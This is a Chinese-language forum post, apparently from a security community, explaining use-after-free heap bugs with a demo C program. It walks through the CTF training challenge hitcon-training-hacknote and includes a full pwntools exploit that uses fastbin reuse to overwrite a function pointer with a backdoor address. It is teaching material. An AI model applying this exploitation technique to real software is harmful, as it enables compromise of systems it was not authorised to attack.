首页
社区
课程
招聘
[原创]Use After Free漏洞利用
发表于: 2025-8-26 11:42 601

[原创]Use After Free漏洞利用

2025-8-26 11:42
601

漏洞原理

Use After Free漏洞简称UAF漏洞,顾名思义,意思就是被释放的内存被重用导致的漏洞。原因是ptmalloc堆管理器只是管理内存的开辟与释放的。并不会对已经释放的内存进行归零处理。这一点和栈是类似的,如果我们释放的内存被重新利用,在一些情况下也会产生漏洞利用,以下这个代码为例子

#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name));
  a->func = myprint;
  a->myname = "I can also use it";
  a->func("this is my function");
  // free without modify
  free(a);
  a->func("I can also use it");
  // free with modify
  a->func = printmyname;
  a->func("this is my function");
  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a->func("can not be printed...");
}

在代码中名为a的结构体指针已经被释放了,但是依然很可以调用a->func()间接调用打印函数,原因就是虽然free释放了内存,但是相应的内存空间的数据并没有清零,在将a置0之后,程序便无法再打印了,会因为调用了不存在的函数结束掉。

漏洞利用

本文针对题目hitcon-training-hacknote进行分析,首先静态看看

在释放内存空间的函数可以看到

程序漏洞点就在del_note函数中,由于没有对释放的内存进行

后门函数是magic,利用手法就是通过UAF漏洞覆盖print_note函数中引用的指针,将这个地址改为magic的地址即可完成pwn

这个程序每次在用户创建空间的时候都会向*(_DWORD *)*(&notelist + i)位置写入一个地址指针,在释放函数中,每当用户调用释放空间的函数时,就会将这个位置的数据释放掉。这里会产生关于fastbin的攻击,fastbins遵循LIFO(后入先出)类似于堆栈的方式。

首先创建2个堆块如下图所示:

可以看到一共创建了4个堆,另外2个就是程序自己开辟的堆空间,但当我们尝试将这2个内存释放掉之后,就会发现,fastbins中有2块大小0x10大小的内存,如果我们这这时候分配一块0x8大小的内存,add_note函数就会执行以下代码

#之前的代码
malloc(0x8);
malloc(Size);
#现在的代码
malloc(0x8) #覆盖0x804b038
malloc(0x8) #0x804b000

而根据fastbins的特性(后入先出)如果程序再次利用到细碎化的内存空间,就会优先从fastbins中分配,这是程序执行了2个malloc(8)刚好满足了要求,让我们自己申请的内存空间覆盖到0x804b000上到地址即可完成pwn

EXP

完整EXP如下所示

from pwn import * 
binary = ELF('./hacknote')
context.terminal = ['tmux', 'splitw', '-h']

io = process(binary.path)


def debug():
    gdb.attach(io)

def alloc(size,data):
    io.sendlineafter(b'Your choice :',str(1))
    io.sendlineafter(b'size :',str(size))
    io.sendlineafter(b'Content :',data)
    pass


def delete(index):
    io.sendlineafter(b'Your choice :',str(2))
    io.sendlineafter(b'Index :',str(index))

    pass

def show(index):
    io.sendlineafter(b'Your choice :',str(3))
    io.sendlineafter(b'Index :',str(index))
    pass

magic = binary.symbols['magic']
print(f'magic func {hex(magic)}')
alloc(0x20,b'b')
alloc(0x20,b'b')

delete(0) #构造fastbins
delete(1)

alloc(8,p32(magic))
show(0)


io.interactive()



传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回